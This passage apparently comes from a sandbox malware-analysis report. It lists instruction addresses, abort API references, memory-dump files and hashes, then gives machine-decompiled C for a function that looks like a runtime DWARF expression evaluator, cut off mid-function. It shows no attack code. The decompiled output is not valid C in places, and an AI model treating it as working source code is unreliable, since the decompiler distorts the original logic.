				goto L142;
			}

0x00000000
0x00421d10
0x00421d1c
0x00421d27
0x00421d2e
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d35
0x00421fa0
0x00421fa0
0x00421fa4
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af3
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb3
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00000000
0x00421d2e
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 5e6e6cc07b7478e7cd546422e21b9f0a55072e57da8f3391d67627aec04673c2
Instruction ID: 1a2d89a0d0ac24e8cac7cda44f5791d16bc1b5d6c34068cc4fa417be181c62e3
Opcode Fuzzy Hash: 5e6e6cc07b7478e7cd546422e21b9f0a55072e57da8f3391d67627aec04673c2
Instruction Fuzzy Hash: 00F0E2745092224AD3317E25A14423BBAE01F22758FDA1D6FDE9123322916CBC09C65F

Uniqueness

Uniqueness Score: -1.00%

Function 00421EC0 Relevance: 21.0, APIs: 14, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421EC0(void* __esi, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				void* _t201;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t201 = __esi;
					if(_a20 == 0) {
						break;
					}
					L83:
					__eax = __eax - 1;
					__edi = __eax;
					_a20 = __eax;
					__eax = __esi + 3;
					if( *(__esp + 0x30 + __edi * 4) == 0) {
						__esi = __eax;
					} else {
						__esi =  *(__esi + 1);
						__esi = __esi + __eax;
					}
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						L7:
						__eax =  *__esi & 0x000000ff;
						__ecx = __eax - 3;
						if(__cl > 0xee) {
							L96:
							abort();
							goto L97;
						} else {
							L8:
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
								case 0:
									L9:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L96;
								case 2:
									L22:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L23:
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											L110:
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											L24:
											if(__eflags <= 0) {
												L97:
												__eflags = __dl - 6;
												if(__dl != 6) {
													L99:
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L96;
													} else {
														L100:
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													L98:
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												L25:
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													L102:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L103:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													L26:
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														L95:
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															L109:
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L96;
														}
													} else {
														L27:
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															L128:
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															L28:
															if(__eflags <= 0) {
																L107:
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L96;
																} else {
																	L108:
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																L29:
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	L30:
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L96;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L142;
								case 3:
									L21:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									L20:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									L19:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									L18:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									L16:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									L68:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L69:
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									L63:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L64:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L94;
									} else {
										L66:
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L94;
										} else {
											L67:
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									L61:
									__ebp = _a20;
									__eflags = __ebp;
									if(__ebp == 0) {
										goto L129;
									} else {
										L62:
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L142;
								case 0xb:
									L59:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L60:
										__eax = __eax - 1;
										__esi = __ebx;
										_a20 = __eax;
										goto L12;
									}
									goto L142;
								case 0xc:
									L57:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L129;
									} else {
										L58:
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L142;
								case 0xd:
									L55:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L129;
									} else {
										L56:
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L142;
								case 0xe:
									L89:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L90:
										__edx = __eax - 1;
										__eax = __eax - 2;
										__esi =  *(__esp + 0x30 + __eax * 4);
										__ecx =  *(__esp + 0x30 + __edx * 4);
										 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
										__esi = __ebx;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
										goto L12;
									}
									goto L142;
								case 0xf:
									L87:
									__eax = _a20;
									__eflags = __eax - 2;
									if(__eax <= 2) {
										goto L129;
									} else {
										L88:
										__ecx = __eax - 1;
										__edx = __eax - 2;
										__eax = __eax - 3;
										__esi =  *(__esp + 0x30 + __ecx * 4);
										__ebp =  *(__esp + 0x30 + __edx * 4);
										__edi =  *(__esp + 0x30 + __eax * 4);
										 *(__esp + 0x30 + __ecx * 4) = __ebp;
										 *(__esp + 0x30 + __edx * 4) = __edi;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
										__esi = __ebx;
										goto L12;
									}
									goto L142;
								case 0x10:
									L91:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L92:
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L96;
										} else {
											L93:
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
												case 0:
													goto L111;
												case 1:
													goto L112;
												case 2:
													goto L113;
												case 3:
													goto L114;
												case 4:
													goto L115;
												case 5:
													goto L96;
												case 6:
													goto L116;
												case 7:
													goto L117;
												case 8:
													goto L118;
												case 9:
													goto L119;
												case 0xa:
													goto L120;
												case 0xb:
													goto L121;
												case 0xc:
													goto L122;
												case 0xd:
													goto L123;
												case 0xe:
													goto L124;
												case 0xf:
													goto L125;
												case 0x10:
													goto L126;
												case 0x11:
													goto L127;
											}
										}
										goto L10;
									}
									goto L142;
								case 0x11:
									goto L0;
								case 0x12:
									L86:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									L85:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									L50:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L51:
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												L54:
												goto L129;
											}
										} else {
											L52:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L94;
											} else {
												goto L53;
											}
										}
									}
									goto L142;
								case 0x15:
									L40:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										L41:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L45:
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L48:
												__edi =  *__edi;
												goto L49;
											}
										} else {
											L46:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L142;
								case 0x16:
									L33:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L34:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L36:
										__ecx = _a28;
										__eax =  *(__esi + 0x6073f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L129;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											L37:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L94:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L142;
								case 0x17:
									L71:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L72:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L74:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L78:
										__ecx = _a28;
										__edx =  *(__esi + 0x6073f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L81:
												__eax =  *__eax;
												goto L82;
											}
										} else {
											L79:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L142;
								case 0x18:
									L17:
									__esi = __ebx;
									goto L12;
								case 0x19:
									L32:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00420C00(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = E00420AC0(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L111:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L112:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L113:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L114:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L115:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L116:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L117:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L118:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L119:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L121:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L122:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L125:
									__eax = 0;
